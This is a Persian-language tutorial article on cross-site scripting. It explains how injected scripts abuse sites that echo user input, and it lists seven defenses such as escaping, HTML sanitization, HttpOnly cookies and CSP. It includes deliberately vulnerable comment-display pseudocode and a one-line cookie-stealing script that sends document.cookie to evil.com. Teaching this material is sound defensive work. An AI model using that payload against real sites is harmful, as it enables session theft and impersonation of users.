حملات XSS چیست؟ + 7 روش جلوگیری از آن
حمله تزریق اسکریپت از طریق وبگاه (Cross-Site Scripting) یا همان XSS یکی از حملات متداول هکرها برای مقاصد خرابکارانه در فضای وب به شمار می رود. اگرچه مخفف اصلی این حمله CSS می باشد اما چون با کدهای CSS اشتباه گرفته می شود برای همین عبارت XSS را برای آن در نظر گرفته اند. امروز قصد داریم به معرفی حملات XSS پرداخته و نحوه جلوگیری از بروز آن را به شما آموزش دهیم، پس تا انتهای مقاله با ما همراه باشید.
حملات XSS چیست؟
حملات XSS نوعی حمله تزریق کد در بخش سمت-کاربر (Client-Side) به شمار می رود. در این حمله فرد مهاجم سعی دارد کدهای مخرب خود را از طریق یک صفحه وب مشروع در مرورگر کاربران اینترنتی اجرا کند و حمله اصلی زمانی اتفاق می افتد که قربانی از آن صفحه وب یا وب اپلیکیشن بازدید کند.
در حقیقت صفحه وب یا وب اپلیکیشن به عنوان وسیله ارسال کدهای مخرب به مرورگر کاربر مورد استفاده هکر قرار می گیرد. به طور کلی مکان هایی مانند تالار گفتمان، بردهای پیام رسانی و صفحات وبی که اجازه انتشار کامنت را به کاربران خود می دهند بهترین وسیله برای تزریق اسکریپت های مخرب به شمار می روند.
اگر صفحه وب از ورودی کاربران آلوده در خروجی تولید شده خود استفاده کند در برابر حملات XSS آسیب پذیر می شود و ورودی کاربر سپس باید توسط مرورگر قربانی تجزیه شود. بروز حملات XSS در زبان VBScript، فناوری ActiveX، Flash و حتی CSS امکان پذیر است. البته بیشترین حملات در زبان جاوا اسکریپت رخ می دهد چرا که این زبان از عناصر اصلی مرورگرهای اینترنتی به شمار می رود.
حملات XSS و کاربران
اگر یک هکر با سوء استفاده از آسیب پذیری XSS موجود در یک صفحه بتواند کدهای جاوااسکریپت مخرب را در مرورگر کاربر تزریق کند، آنگاه امنیت آن وب اپلیکیشن به همراه کاربرانش به خطر می افتد. حملات XSS برخلاف مشکلات امنیتی، فقط مختص کاربران نیست به گونه ای که اگر برای کاربران وبسایت شما خطرآفرین باشد حتما بر روی خودتان نیز تاثیر می گذارد.
برخی از هکرها نیز به جای هدف قرار دادن کاربران از حملات XSS برای از کار انداختن وبسایت ها استفاده می کنند. در این صورت هکر می تواند برای تغییر محتوای وبسایت یا هدایت مرورگر قربانی به صفحات آلوده از اسکریپت های تزریق شده استفاده کند.
هکر و جاوا اسکریپت
حملات XSS در مقایسه با تزریق SQL خطر کمتری دارند. تزریق جاوا اسکریپت به یک صفحه وب در نگاه اول ممکن است اصلا خطرناک نباشد چرا که اکثر مرورگرهای اینترنتی کدهای جاوااسکریپت را در محیطی کاملا کنترل شده اجرا می کنند. جاوا اسکریپت نیز محدودیت هایی برای دسترسی به سیستم عامل و فایل های کاربر در نظر گرفته است. با این حال اگر جاوااسکریپت به عنوان بخشی از یک محتوای مخرب مورد استفاده قرار گیرد بسیار خطرناک خواهد بود :
- جاوااسکریپت مخرب می تواند به تمام آبجکت هایی (Objects) که بقیه صفحات وب به آن دسترسی دارند نفوذ کند. برای مثال کوکی های کاربر یکی از بخش هایی است که جاوااسکریپت مخرب قادر است به آن دسترسی پیدا کند. با توجه به این نکته که Session Tokenها معمولا در کوکی های کاربر ذخیره می شوند اگر یک هکر آن ها را در اختیار داشته باشد، آنگاه قادر است با جعل هویت کاربر از طرف وی اقدامات سودجویانه ای انجام دهد و به دیتای حساس کاربر نیز دسترسی پیدا کند.
- جاوا اسکریپت مخرب قادر است DOM مرورگر اینترنتی را بخواند و سپس تغییرات دلخواه خود را بر روی آن اعمال کند. خوشبختانه این موضوع تنها در صفحاتی که جااسکریپت در آن ها اجرا می شود امکان پذیر است.
- جاوااسکریپت می تواند با استفاده از آبجکت XMLHttpRequest درخواست های HTTP دلخواه خود را به مقاصد دلخواه ارسال کند.
- جاوااسکریپت در مرورگرهای مدرن می تواند از HTML5 API استفاده کند، بنابراین قادر است به موقعیت جغرافیایی، میکروفون، وبکم و فایل های خاصی از سیستم کامپیوتری کاربر دسترسی پیدا کند. اکثر این APIها مستلزم حضور خود کاربر هستند اما هکرها می توانند از مهندسی اجتماعی برای حل این موضوع استفاده کنند.
به طور کلی هکر از طریق موارد ذکر شده و کمی چاشنی مهندسی اجتماعی می تواند حملات پیشرفته ای نظیر سرقت کوکی، کاشت تروجان، Keylogging، فیشینگ و سرقت هویت را به راحتی انجام دهد. هکر ها می توانند برای شروع یک حمله قوی ابتدا از حملات XSS استفاده کنند و یا از آن در کنار حملات دیگر نظیر CSRF بهره مند شوند.
حملات XSS چطور کار می کند؟
یک حمله XSS معمولی به دو بخش تقسیم می شود که عبارتند از:
- هکر برای اجرای کدهای مخرب در مرورگر قربانی باید ابتدا راهی برای تزریق کد به یک صفحه وب که کاربر از آن بازدید می کند، پیدا کند.
- سپس قربانی باید از آن صفحه وب آلوده به کدهای مخرب بازدید کند. اگر حمله برای یک فرد مشخصی در نظر گرفته شده باشد، هکر با استفاده از مهندسی اجتماعی یا فیشینگ می تواند یک URL آلوده برای وی ارسال کند.
برای اینکه مرحله اول امکان پذیر باشد، وبسایت باید ورودی کاربر را به صورت مستقیم در صفحات خود وارد کند. سپس هکر می تواند رشته مخرب را در صفحه وب وارد کند؛ این رشته توسط مرورگر کاربر به عنوان سورس کد شناخته می شود. البته در برخی از مواقع نیز هکر با استفاده از مهندسی اجتماعی قربانی را به کلیک بر روی URLهای مخرب ترغیب می کند.
تصویر زیر نشان دهنده یک شبه کد است که برای نمایش کامنت های جدید یک صفحه وب مورد استفاده قرار می گیرد:
1 2 3 4 5 6 7 |
print "<html>" print "<h1>Most recent comment</h1>" print database.latestComment print "</html>" |
البته هکر می تواند به راحتی با یک کامنت مخرب آن صفحه وب را آلوده کند؛ برای مثال وی می تواند اسکریپت زیر را در صفحه وب وارد کند:
1 |
<script>doSomethingEvil();</script> |
سپس وب سرور کد HTML زیر را به کاربرانی که از آن صفحه بازدید می کنند ارائه می دهد:
1 |
<html><h1>Most recent comment</h1><script>doSomethingEvil();</script></html> |
هنگامی که این صفحه وب در مرورگر قربانی اجرا بارگیری شود، اسکریپت مخرب در آن اجرا خواهد شد. کاربران قربانی در اکثر اوقات از بروز چنین حمله ای باخبر نمی شوند و به همین دلیل قادر به جلوگیری از آن نیستند.
سرقت کوکی با استفاده از XSS
سارقان سایبری اغلب برای سرقت کوکی از حملات XSS استفاده می کنند و از این طریق هویت کاربران را جعل می کنند. هکر با روش های مختلفی می تواند کوکی های کاربر را به سرور خود انتقال دهد؛ یکی از روش های سرقت کوکی اجرای اسکریپت سمت کاربر زیر در مرورگر قربانی است:
1 |
<script>window.location="http://evil.com/?cookie=" + document.cookie</script> |
نحوه جلوگیری از حملات XSS
برای اینکه از شر حملات XSS در امان باشید باید ورودی وبسایت خود را سالم نگه دارید. اپلیکیشن شما نیز نباید بدون بررسی دیتای ورودی آن را به صورت مستقیم به مرورگر کاربران ارسال کند. جلوگیری از حملات XSS آسان نیست به گونه ای که تکنیک های مقابله با آن به نوع حمله XSS، بستر استفاده از ورودی کاربر و فریم ورک و زبان برنامه نویسی وبسایت مورد نظر بستگی دارد. با این وجود یکسری اصول کلی و اولیه برای در امان ماندن از حملات XSS وجود دارد که در ادامه آنها را به صورت مختصر توضیح خواهیم داد:
1- آموزش و حفظ آگاهی توسعه دهندگان :
تمام افراد درگیر در پروژه توسعه یک اپلیکیشن یا وبسایت باید از خطرات مربوط به آسیب پذیری XSS آگاه باشند. بنابراین شما باید آموزش های لازم درباره امنیت اپلیکیشن را به تمام برنامه نویسان، کارمندان تضمین کیفیت، تیم دوآپس (DevOps) و ادمین های سیستم ارائه دهید.
2- عدم اعتماد به ورودی کاربران :
تمام ورودی های کاربران را به عنوان ورودی غیر قابل اعتماد در نظر بگیرید. در حقیقت هر ورودی کاربر که به عنوان بخشی از خروجی HTML استفاده شود مستعد حملات XSS می شود. بنابراین با ورودی های معتبر و کاربران داخلی نیز باید همانند ورودی های عمومی رفتار کنید.
3- استفاده از تکنیک Escaping/Encoding :
با توجه به مکانی که ورودی های کاربران مورد استفاده قرار می گیرد از تکنیک Escaping/Encoding استفاده کنید. برای مثال شما می توانید از کتابخانه های HTML escape، JavaScript escape، CSS escape و URL escape استفاده کنید؛ به عبارت دیگر فقط در صورت نیاز از escapeهای خود استفاده کنید.
4- پاکسازی HTML :
در صورتی که ورودی کاربران باید دارای HTML باشد، شما نمی توانید از تکنیک Escaping/Encoding استفاده کنید چرا که این کار باعث از بین رفتن تگ های معتبر (Valid Tags) می شود. در چنین مواردی باید از یک کتابخانه معتبر و تایید شده برای تجزیه و پاکسازی HTML استفاده کنید.
شما می توانید کتابخانه مورد نظر را با توجه به زبان برنامه نویسی مورد استفاده در توسعه اپلیکیشن انتخاب کنید، برای مثال کتابخانه HtmlSanitizer برای زبان .NET یا SanitizeHelper برای زبان Ruby on Rails گزینه مطلوبی به شمار می رود.
5- استفاده از HttpOnly flag در کوکی ها :
شما می توانید برای کم اثر کردن شدت حملات XSS از ویژگی HttpOnly flag در کوکی های خود استفاده کنید. در حقیقت با انجام این کار کوکی های HttpOnly flag در سمت کاربر توسط جاوا اسکریپت خوانده نمی شوند و عملا در دسترس نیستند.
6- استفاده از یک خط مشی امنیتی محتوا (CSP) :
شما همچنین برای کاهش عواقب حملات XSS می توانید از یک خط مشی امنیتی محتوا یا همان CSP استفاده کنید. این قالب امنیتی در واقع یک هدر پاسخ HTTP است و این امکان را در اختیار شما قرار می دهد تا با توجه به سورس ریکوئست، منابع مجاز برای بارگذاری را مشخص کنید.
7- اسکن مدام صفحات وب :
آسیب پذیری های XSS در برخی اوقات ممکن است توسط برنامه نویسان یا از طریق کتابخانه ها، ماژول ها و نرم افزارهای مربوط به صفحات وب شما مشخص می شوند. بنابراین بهتر است که آسب پذیری صفحات وبسایت خود را با استفاده از اسکنرهایی نظیر Acunetix به طور مداوم اسکن کنید.
دیدگاهتان را بنویسید
برای نوشتن دیدگاه باید وارد بشوید.